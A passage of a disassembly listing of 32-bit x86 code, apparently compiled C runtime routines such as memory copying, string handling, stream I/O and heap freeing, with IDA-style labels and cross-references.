		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi
		mov	[ebx], edi
		mov	eax, [ebp+var_8]
		mov	dword_4111FC, eax
		mov	dword_4111A8[eax*4], ebx


loc_40719D:				; CODE XREF: sub_406E30+26j
					; sub_406E30+27Aj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071B0	proc near		; CODE XREF: sub_401076+Fp
					; DMN0:00401138p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407223 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8A4
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_407223
		lea	eax, [ebx-4]
		cmp	eax, dword_4111D0
		jbe	short loc_4071F0
		cmp	eax, dword_4111CC
		jb	short loc_4071F9


loc_4071F0:				; CODE XREF: sub_4071B0+36j
		push	ebx
		call	sub_4086F0
		pop	ecx
		jmp	short loc_407223
; ---------------------------------------------------------------------------


loc_4071F9:				; CODE XREF: sub_4071B0+3Ej
		push	0
		call	sub_408800
		pop	ecx
		mov	[ebp+var_4], 0
		push	ebx
		call	sub_406E30
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40721A
		jmp	short loc_407223
sub_4071B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40721A	proc near		; CODE XREF: sub_4071B0+63p
					; DATA XREF: DMN0:0040F8ACo
		push	0
		call	sub_408880
		pop	ecx
		retn
sub_40721A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4071B0


loc_407223:				; CODE XREF: sub_4071B0+2Bj
					; sub_4071B0+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4071B0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407240	proc near		; DATA XREF: sub_407280+38o
					; sub_4495A1+38o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edi, ebx
		cmp	[edi+4], esi
		jnb	short loc_407256
		mov	esi, [edi+4]


loc_407256:				; CODE XREF: sub_407240+11j
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [edi]
		add	eax, esi
		mov	[edi], eax
		sub	[edi+4], esi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407280	proc near		; CODE XREF: DMN0:004010F0p
					; DMN0:00401120p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40729C
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jmp	short loc_4072AC
; ---------------------------------------------------------------------------


loc_40729C:				; CODE XREF: sub_407280+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		mov	[ebp+var_4], eax


loc_4072AC:				; CODE XREF: sub_407280+1Aj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset sub_407240
		call	sub_4088A0
		add	esp, 10h
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx],	0
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072E0	proc near		; DATA XREF: sub_407320+22o
					; sub_449641+22o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	dword_411D94
		test	eax, eax
		jz	short loc_40730E
		cmp	[ebp+var_4], esi
		jnz	short loc_40730E
		mov	edi, ebx
		jmp	short loc_407310
; ---------------------------------------------------------------------------


loc_40730E:				; CODE XREF: sub_4072E0+23j
					; sub_4072E0+28j
		xor	edi, edi


loc_407310:				; CODE XREF: sub_4072E0+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4072E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407320	proc near		; CODE XREF: DMN0:00401130p
					; DMN0:0040114Cp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_408B20
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407339
		or	eax, 0FFFFFFFFh
		jmp	short loc_407351
; ---------------------------------------------------------------------------


loc_407339:				; CODE XREF: sub_407320+12j
		lea	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	offset sub_4072E0
		call	sub_4088A0
		add	esp, 10h
		mov	esi, eax


loc_407351:				; CODE XREF: sub_407320+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407360	proc near		; DATA XREF: sub_407380+11o
					; sub_4496A1+11o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	ebx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407380	proc near		; CODE XREF: DMN0:004011CCp
					; sub_4025A9+17Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	esi, [ebp+arg_8]
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407360
		call	sub_4088A0
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_4073AB
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_4073AB:				; CODE XREF: sub_407380+22j
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4073C0	proc near		; CODE XREF: DMN0:004011F1p
					; sub_403838+77p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00407424 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8B0
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408800
		pop	ecx
		mov	[ebp+var_4], 0
		call	sub_408B80
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_408BE0
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40741B
		jmp	short loc_407424
sub_4073C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40741B	proc near		; CODE XREF: sub_4073C0+54p
					; DATA XREF: DMN0:0040F8B8o
		push	6
		call	sub_408880
		pop	ecx
		retn
sub_40741B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4073C0


loc_407424:				; CODE XREF: sub_4073C0+59j
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4073C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407440	proc near		; DATA XREF: sub_407470+10o
					; sub_449791+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	ebx
		push	esi
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_407820
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_407464
		mov	edi, ebx
		jmp	short loc_407466
; ---------------------------------------------------------------------------


loc_407464:				; CODE XREF: sub_407440+1Ej
		xor	edi, edi


loc_407466:				; CODE XREF: sub_407440+22j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407470	proc near		; CODE XREF: DMN0:0040120Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407440
		call	sub_4088A0
		add	esp, 10h
		mov	ebx, eax
		pop	ebx
		pop	ebp
		retn
sub_407470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; DATA XREF: sub_4074C0+48o
					; sub_4497E1+48o
		push	ebx
		xor	ebx, ebx


loc_4074A3:				; CODE XREF: sub_4074A0+1Cj
		mov	eax, off_411370[ebx*4]
		test	eax, eax
		jz	short loc_4074B5
		push	eax
		call	sub_407620
		pop	ecx


loc_4074B5:				; CODE XREF: sub_4074A0+Cj
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_4074A3
		pop	ebx
		retn
sub_4074A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4074C0	proc near		; CODE XREF: sub_408BE0:loc_408D14p
					; sub_408F60+B2p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00407527 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8BC
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408800
		pop	ecx
		mov	[ebp+var_4], 0
		cmp	dword_41105C, 0
		jnz	short loc_407513
		mov	dword_41105C, 1
		push	offset sub_4074A0
		call	sub_408D30
		pop	ecx


loc_407513:				; CODE XREF: sub_4074C0+3Cj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40751E
		jmp	short loc_407527
sub_4074C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40751E	proc near		; CODE XREF: sub_4074C0+57p
					; DATA XREF: DMN0:0040F8C4o
		push	6
		call	sub_408880
		pop	ecx
		retn
sub_40751E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4074C0


loc_407527:				; CODE XREF: sub_4074C0+5Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4074C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_407620+39p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		push	ebx
		call	sub_408D60
		pop	ecx
		mov	esi, eax
		test	word ptr [ebx],	40h
		jz	short loc_407561
		mov	eax, [ebx+8]
		push	eax
		call	sub_4071B0
		pop	ecx


loc_407561:				; CODE XREF: sub_407540+15j
		mov	dword ptr [ebx+8], 0
		mov	eax, [ebx+4]
		test	eax, eax
		jl	short loc_40757D
		push	eax
		call	sub_408EE0
		pop	ecx
		test	eax, eax
		jz	short loc_40757D
		or	esi, 0FFFFFFFFh


loc_40757D:				; CODE XREF: sub_407540+2Dj
					; sub_407540+38j
		mov	eax, [ebx+3Ch]
		test	eax, eax
		jz	short loc_4075A3
		push	eax
		call	sub_407B50
		pop	ecx
		test	eax, eax
		jz	short loc_407592
		or	esi, 0FFFFFFFFh


loc_407592:				; CODE XREF: sub_407540+4Dj
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4071B0
		pop	ecx
		mov	dword ptr [ebx+3Ch], 0


loc_4075A3:				; CODE XREF: sub_407540+42j
		test	word ptr [ebx],	80h
		jz	short loc_4075D4
		xor	edi, edi


loc_4075AC:				; CODE XREF: sub_407540+89j
		cmp	ebx, off_411370[edi*4]
		jnz	short loc_4075C2
		mov	off_411370[edi*4], 0
		jmp	short loc_4075CB
; ---------------------------------------------------------------------------


loc_4075C2:				; CODE XREF: sub_407540+73j
		inc	edi
		cmp	edi, 100h
		jb	short loc_4075AC


loc_4075CB:				; CODE XREF: sub_407540+80j
		push	ebx
		call	sub_4071B0
		pop	ecx
		jmp	short loc_40760D
; ---------------------------------------------------------------------------


loc_4075D4:				; CODE XREF: sub_407540+68j
		mov	word ptr [ebx],	0
		or	dword ptr [ebx+4], 0FFFFFFFFh
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax


loc_40760D:				; CODE XREF: sub_407540+92j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407620	proc near		; CODE XREF: DMN0:00401214p
					; sub_403838+108p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407676 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8C8
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408800
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_407540
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40766D
		jmp	short loc_407676
sub_407620	endp


; =============== S U B	R O U T	I N E =======================================



sub_40766D	proc near		; CODE XREF: sub_407620+46p
					; DATA XREF: DMN0:0040F8D0o
		push	6
		call	sub_408880
		pop	ecx
		retn
sub_40766D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407620


loc_407676:				; CODE XREF: sub_407620+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407620
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_401567+Fp
					; sub_4015B7+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_4076DE
		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4076D7
		neg	ecx
		and	ecx, 3
		jz	short loc_4076B9
		sub	edx, ecx


loc_4076B3:				; CODE XREF: sub_407690+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4076B3


loc_4076B9:				; CODE XREF: sub_407690+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4076D7
		rep stosd
		test	edx, edx
		jz	short loc_4076DD


loc_4076D7:				; CODE XREF: sub_407690+18j
					; sub_407690+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4076D7


loc_4076DD:				; CODE XREF: sub_407690+45j
		pop	edi


loc_4076DE:				; CODE XREF: sub_407690+6j
		mov	eax, [esp+arg_0]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4076F0	proc near		; CODE XREF: sub_401A55+2Cp
					; sub_401ADA+57p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_4]
		jmp	short loc_407706
; ---------------------------------------------------------------------------


loc_4076FF:				; CODE XREF: sub_4076F0+18j
		mov	al, [edx]
		mov	[ebx], al
		inc	ebx
		inc	edx
		dec	ecx


loc_407706:				; CODE XREF: sub_4076F0+Dj
		test	ecx, ecx
		jnz	short loc_4076FF
		mov	eax, [esp+4+arg_0]
		pop	ebx
		retn
sub_4076F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407710	proc near		; CODE XREF: sub_402208+2Ep
					; sub_402511+11p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, ecx
		jmp	short loc_407719
; ---------------------------------------------------------------------------


loc_407718:				; CODE XREF: sub_407710+Cj
		inc	edx


loc_407719:				; CODE XREF: sub_407710+6j
		cmp	byte ptr [edx],	0
		jnz	short loc_407718
		mov	eax, edx
		sub	eax, ecx
		retn
sub_407710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407730	proc near		; CODE XREF: sub_402296+3Fp
					; sub_4025A9+2D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ebx, [esp+8+arg_4]
		mov	edi, ecx


loc_40773C:				; CODE XREF: sub_407730+18j
		mov	eax, edi
		inc	edi
		mov	edx, ebx
		inc	ebx
		mov	dl, [edx]
		mov	[eax], dl
		test	dl, dl
		jnz	short loc_40773C
		mov	eax, ecx
		pop	edi
		pop	ebx
		retn
sub_407730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407750	proc near		; CODE XREF: sub_402296+53p
					; sub_402296+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	ebx, [esp+4+arg_4]
		mov	edx, ecx
		jmp	short loc_40775E
; ---------------------------------------------------------------------------


loc_40775D:				; CODE XREF: sub_407750+11j
		inc	edx


loc_40775E:				; CODE XREF: sub_407750+Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_40775D
		jmp	short loc_407767
; ---------------------------------------------------------------------------


loc_407765:				; CODE XREF: sub_407750+1Dj
		inc	edx
		inc	ebx


loc_407767:				; CODE XREF: sub_407750+13j
		mov	al, [ebx]
		mov	[edx], al
		test	al, al
		jnz	short loc_407765
		mov	eax, ecx
		pop	ebx
		retn
sub_407750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407780	proc near		; CODE XREF: sub_4025A9+268p
					; sub_4025A9+297p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4077B0
		mov	eax, ebx
		jmp	short loc_4077C9
; ---------------------------------------------------------------------------


loc_407794:				; CODE XREF: sub_407780+45j
		mov	edi, ebx
		mov	esi, [esp+0Ch+arg_4]


loc_40779A:				; CODE XREF: sub_407780+2Dj
		inc	esi
		mov	eax, esi
		cmp	byte ptr [eax],	0
		jnz	short loc_4077A6
		mov	eax, ebx
		jmp	short loc_4077C9
; ---------------------------------------------------------------------------


loc_4077A6:				; CODE XREF: sub_407780+20j
		inc	edi
		mov	eax, edi
		mov	dl, [esi]
		cmp	[eax], dl
		jz	short loc_40779A
		inc	ebx


loc_4077B0:				; CODE XREF: sub_407780+Ej
		mov	eax, [esp+0Ch+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	ebx
		call	sub_408F40
		add	esp, 8
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_407794
		xor	eax, eax


loc_4077C9:				; CODE XREF: sub_407780+12j
					; sub_407780+24j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407780	endp

; ---------------------------------------------------------------------------
		align 10h
		pop	ecx
		pop	eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_4077F0
		mov	eax, esp
		push	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4077F0	proc near		; CODE XREF: sub_402896+8p
					; sub_402B02+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_407810


loc_4077FC:				; CODE XREF: sub_4077F0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4077FC


loc_407810:				; CODE XREF: sub_4077F0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4077F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407820	proc near		; CODE XREF: sub_403838+D8p
					; sub_405EB2+CBp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mul	[ebp+arg_8]
		mov	esi, eax
		test	eax, eax
		jz	loc_407924
		cmp	[ebp+arg_4], 0
		jnz	loc_4078FA
		mov	eax, [ebp+arg_8]
		jmp	loc_407924
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_407820+DCj
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		ja	short loc_40786B
		push	ebx
		call	sub_408F60
		pop	ecx
		test	eax, eax
		jl	loc_407902


loc_40786B:				; CODE XREF: sub_407820+3Aj
		test	word ptr [ebx],	400h
		jz	short loc_407886
		push	esi
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_409060
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_40788D
; ---------------------------------------------------------------------------


loc_407886:				; CODE XREF: sub_407820+50j
		mov	[ebp+var_10], 0


loc_40788D:				; CODE XREF: sub_407820+64j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_4078A5
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		sub	eax, edx
		inc	eax
		mov	[ebp+var_14], eax
		jmp	short loc_4078A8
; ---------------------------------------------------------------------------


loc_4078A5:				; CODE XREF: sub_407820+75j
		mov	[ebp+var_14], esi


loc_4078A8:				; CODE XREF: sub_407820+83j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+18h]
		mov	edx, [ebx+10h]
		sub	eax, edx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], edi
		jnb	short loc_4078C5
		mov	[ebp+var_8], 0
		mov	edi, [ebp+var_C]


loc_4078C5:				; CODE XREF: sub_407820+99j
		push	edi
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	[ebp+var_4], eax
		sub	esi, edi
		lea	eax, [ebx+10h]
		mov	edx, [eax]
		add	edx, edi
		mov	[eax], edx
		cmp	[ebp+var_8], 0
		jz	short loc_4078FA
		push	ebx
		call	sub_408D60
		pop	ecx
		test	eax, eax
		jnz	short loc_407902


loc_4078FA:				; CODE XREF: sub_407820+26j
					; sub_407820+CDj
		test	esi, esi
		jnz	loc_407854


loc_407902:				; CODE XREF: sub_407820+45j
					; sub_407820+D8j
		test	word ptr [ebx],	800h
		jz	short loc_407910
		push	ebx
		call	sub_408D60
		pop	ecx


loc_407910:				; CODE XREF: sub_407820+E7j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mul	[ebp+arg_8]
		sub	eax, esi
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		xor	edx, edx
		div	ecx


loc_407924:				; CODE XREF: sub_407820+1Cj
					; sub_407820+2Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407930	proc near		; DATA XREF: sub_4079D0+2Do
					; sub_449CF1+2Do

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8D4
		push	offset sub_408478
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		push	ebx
		mov	eax, dword_411770
		push	eax
		call	dword_411D98
		test	eax, eax
		jnz	short loc_407972
		push	1
		call	sub_409250
		pop	ecx


loc_407972:				; CODE XREF: sub_407930+38j
		mov	[ebp+var_4], 0
		mov	eax, [ebx+44h]
		push	eax
		call	dword ptr [ebx+40h]
		pop	ecx
		call	sub_407A60
		jmp	short loc_4079B0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409260
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_409250
		pop	ecx


loc_4079B0:				; CODE XREF: sub_407930+56j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_407930	endp

; ---------------------------------------------------------------------------
		align 10h

